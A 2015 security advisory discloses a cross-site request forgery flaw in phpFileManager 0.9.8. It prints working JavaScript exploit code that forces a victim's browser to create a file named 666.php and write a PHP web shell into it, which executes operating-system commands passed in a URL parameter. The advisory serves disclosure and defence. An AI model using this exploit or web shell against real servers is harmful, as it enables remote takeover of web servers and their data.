phpFileManager 0.9.8 Cross Site Request Forgery

`[+] Credits: John Page ( hyp3rlinx )  
  
[+] Domains: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/AS-PHPFILEMANAGER0729.txt  
  
  
  
Vendor:  
================================  
phpfm.sourceforge.net  
  
  
  
Product:  
============================  
phpFileManager version 0.9.8  
  
  
Vulnerability Type:  
==========================  
CSRF Remote Backdoor Shell  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Advisory Information:  
========================================  
CSRF Remote Backdoor Shell Vulnerability  
  
  
  
  
Vulnerability Details:  
=======================================================================  
PHP File Manager is vulnerable to creation of arbitrary files on server  
via CSRF which we can use to create remote backdoor shell access if victim  
clicks our malicious linx or visits our malicious webpages.  
  
To create backdoor shell we will need to execute two POST requests  
1- to create PHP backdoor shell 666.php  
2- inject code and save to the backdoor we just created  
  
e.g.  
https://localhost/phpFileManager-0.9.8/666.php?cmd=[ OS command ]  
  
  
Exploit code(s):  
===============  
  
<script>  
var  
scripto="frame=3&action=2&dir_dest=2&chmod_arg=&cmd_arg=666.php&current_dir=&selected_dir_list=&selected_file_list="  
blasphemer(scripto)  
  
var  
maliciouso="action=7&save_file=1&current_dir=.&filename=666.php&file_data='<?php+echo+'backdoor  
shell by hyp3rlinx......';+exec($_GET['cmd']);+?>"  
blasphemer(maliciouso)  
  
function blasphemer(payload){  
var xhr=new XMLHttpRequest()  
xhr.open('POST',"https://localhost/phpFileManager-0.9.8/index.php", true)  
xhr.setRequestHeader("content-type", "application/x-www-form-urlencoded")  
xhr.send(payload)  
}  
</script>  
  
  
  
Disclosure Timeline:  
=========================================================  
Vendor Notification: July 28, 2015  
July 29, 2015 : Public Disclosure  
  
  
  
Severity Level:  
=========================================================  
High  
  
  
  
Description:  
==========================================================  
  
  
Request Method(s): [+] POST  
  
  
Vulnerable Product: [+] phpFileManager 0.9.8  
  
  
Vulnerable Parameter(s): [+] action, cmd_arg, file_data, chmod_arg,  
save_file  
  
  
Affected Area(s): [+] Web Server  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
  
by hyp3rlinx  
`